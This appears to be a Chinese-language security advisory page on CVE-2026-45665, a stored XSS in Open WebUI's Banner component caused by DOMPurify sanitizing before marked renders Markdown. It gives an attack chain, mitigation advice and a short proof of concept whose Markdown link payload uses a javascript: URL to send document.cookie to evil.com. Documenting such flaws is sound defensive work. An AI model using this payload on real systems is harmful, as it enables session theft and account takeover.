IPBUF安全漏洞报告
English
CVE-2026-45665 CVSS 8.1 高危

CVE-2026-45665 Open WebUI 存储型XSS漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45665
漏洞类型
存储型XSS
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Open WebUI

相关标签

XSS存储型XSSOpen WebUI权限提升CVE-2026-45665

漏洞概述

Open WebUI是一个自托管的人工智能平台。在0.8.0版本之前,该平台在Banner组件中存在一个存储型XSS漏洞。该漏洞源于不当的清理顺序,导致DOMPurify在marked库之前执行。这使得受损或恶意的管理员能够在全局banner中植入恶意载荷。由于该banner对所有用户(包括超级管理员)可见,攻击者可利用此漏洞窃取超级管理员的会话令牌,从而实现权限提升并绕过现有的安全机制。

技术细节

该漏洞的核心技术成因在于Open WebUI在处理Banner组件内容时,安全库的加载顺序存在逻辑缺陷。具体而言,系统错误地先执行DOMPurify进行HTML清理,随后再使用marked库将Markdown文本解析渲染为HTML。由于DOMPurify是在Markdown解析之前运行,它无法检测到marked库在解析过程中可能生成的恶意HTML标签或事件处理器。攻击者(通常已获得管理员权限或攻破管理员账户)利用这一逻辑漏洞,精心构造包含恶意JavaScript代码的Markdown文本,并将其注入到全局Banner设置中。当系统保存并渲染该Banner时,恶意代码被保留。一旦超级管理员或任何其他用户访问包含该Banner的页面,恶意脚本便会在其浏览器中触发执行。攻击者利用此机会窃取受害者的Session Token,从而完全接管受害者账户,实现垂直权限提升。

攻击链分析

STEP 1
1. 获取初始访问权限
攻击者通过钓鱼、暴力破解或利用其他漏洞获取Open WebUI的普通管理员账户凭证。
STEP 2
2. 注入恶意载荷
攻击者登录管理后台,访问Banner设置,利用Markdown语法构造包含JavaScript代码的恶意载荷并保存。
STEP 3
3. 载荷存储与渲染
系统保存Banner设置。由于清理顺序错误,恶意载荷未被去除。当任何用户(特别是超级管理员)访问页面时,Banner被加载渲染。
STEP 4
4. 执行攻击
超级管理员的浏览器解析渲染后的Banner,执行其中的恶意JavaScript代码,窃取Session Token或Cookie。
STEP 5
5. 权限提升
攻击者利用窃取的凭证以超级管理员身份登录,获得系统的完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-45665 // Exploit the sanitization order: DOMPurify runs before marked. // Input is treated as Markdown, allowing bypass of HTML sanitization. // Payload to inject into the Banner configuration: const maliciousPayload = "[Claim Admin Access](javascript:fetch('https://evil.com/steal?token='+document.cookie))"; // Analysis: // 1. DOMPurify scans the input string. It sees plain Markdown syntax, not HTML tags, so it passes. // 2. The 'marked' library parses the Markdown and generates an <a> tag with href="javascript:...". // 3. The rendered banner contains the malicious link. When the Super Admin interacts with the banner, // the JavaScript executes, sending the session token to the attacker.

影响范围

Open WebUI < 0.8.0

防御指南

临时缓解措施
建议立即将Open WebUI升级至0.8.0或更高版本以彻底修复此漏洞。若暂时无法升级,应严格限制管理员账户的使用,启用多因素认证防止账户被接管,并考虑暂时禁用全局Banner功能以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表